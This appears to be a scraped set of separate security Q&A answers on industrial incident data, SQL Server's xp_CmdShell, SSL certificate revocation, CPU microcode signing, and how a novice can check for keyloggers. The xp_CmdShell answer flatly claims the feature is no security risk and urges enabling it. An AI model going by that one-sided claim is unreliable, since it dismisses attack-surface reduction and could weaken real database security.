Industrial security — resources for ISO27k compliance, social-engineering trend reports

you might want to consider taking a look in The Repository of Industrial Security Incidents which covers in industrial control systems as a whole and breaks down the data by specific industry.  I'm not sure if it will specifically cover Social Engineering attacks though


Turning off xp_CmdShell is a bit like putting a veil over rotting meat. It brings a false sense of security to the table and the flies can still get at the meat. Allow me to explain.

Who can use xp_CmdShell? That's right. Only people/app logins with "SA" privs or people that you made the horrible mistake of granting a proxy to can use it.

Next question. If you have xp_CmdShell turned off, who are the only people that can turn it back on? Correct again! Only people/apps with "SA" privs can turn it back on.

So, what's the real issue with xp_CmdShell being a security risk? The answer is xp_CmdShell is NOT a security risk. Poor security is the only security risk. If a hacker or an malicious internal user get's into the system with "SA" privs, then they can turn xp_CmdShell on in momements. Yeah, that action gets logged but that only provides documented testimony that security was grossly lacking to begin with.

Turning xp_CmdShell off does nothing for security except to provide a chance for that part of a hackers code to turn it back on to run.

I'll say it again. xp_CmdShell is not a security risk. Only bad security is a security risk. Fix your security and then turn on xp_CmdShell. It's a wonderful tool and you're missing out on it because of bad security practices and myth.


Relationship between SSL cert database and that at the CA site

In short: You can just start using CertA again, until its expiry date, as the CA is not directly involved when certificates are used.

The CA is not directly involved in your use of certificates, unless you revoked the certificate CertA. Revocation means that you go to the CA and explicitly tell them "The certificate CertA was compromised.". There is usually some kind of section on the CA website to do that. They will then revoke the certificate, which means that it announces to browsers that the certificate is no longer secure (through several different means, CRL and OCSP are keywords you want to look for to learn more).

So, assuming you didn't revoke CertA explicitly, you can use it again.

edit:
Note that there are some edge cases where a scenario similar to yours exists, where a specific certificate/set of certificates is identified as the only valid one for a domain or server. If you want to implement this, there are multiple ways to do it (DANE, certificate pinning, and approaches using browser extensions like CertificatePatrol or convergence), but all of them are very much experimental at the moment, and I'd say it is unlikely that this will change in the near future. You can find more information at OWASP and this question on certificate pinning.


Intel has been releasing microcode updates for its CPUs since at least January 29, 2000.  AMD has been releasing microcode updates for a similar length of time.

In theory, it's possible to reprogram an Intel chip to do whatever you want, within the capabilities of the silicon.  In practice, as the above website notes, microcode updates appear to be signed using best-practices public-key cryptography.  As a result, only microcode updates signed by Intel will be accepted by the chip: neither tinkerers nor malicious actors can provide a valid update.


How can a novice find proof of a system compromise?

There are many ways to go about finding key loggers.  Some are more time consuming than others and may also provide false-negative.

Purchase a well known anti key logger software.  Or take your chances with a free distribution.

This is your first defense and the easiest thing you can do.  A scanner may find suspicious files or process and flag them.  At this point, you do research on these processes and find whether they are legitimate or not.

The software may not always work because a good key logger may hide itself very well.

Scan your computers ports and log all traffic.

Research if your computer should be transmitting particular traffic or not.  This can be very time consuming depending on how many programs/services are installed.

If you find anything out of the ordinary here, you can research and find out what the traffic is for.  A typical question you should ask is, should I have port 80 open on my computer?

This method may provide a false negative because the key logger may not be running or sending information at that time.

Compare files to known good files

This may be very time consuming depending on how many files you have.  To do this, you can take an md5 hash of your file and compare it to a md5 hash of a good file that is on a default install with the appropriate updates and software, or a known good back up.  If the files are different, the md5 will be different.  You should probably should mount the hard drive so you know the current operating system isn't running.

Ask yourself whether or not the files will be different.  Log files will be different, the page file will be different, etc.  You might be looking for system are that are different.

Have any files been added?

Find out whether files have been added compare to a default install or a known good back up.

Research whether or not files are legitimately installed on your computer.  For instance, it may look like Skype is a legitimate program, but you never installed it.  A key logger could be disguised as something like that.

What else can I do?

Check if your boot loader is infected.

Use a rootkit scanner.

Check your firmware.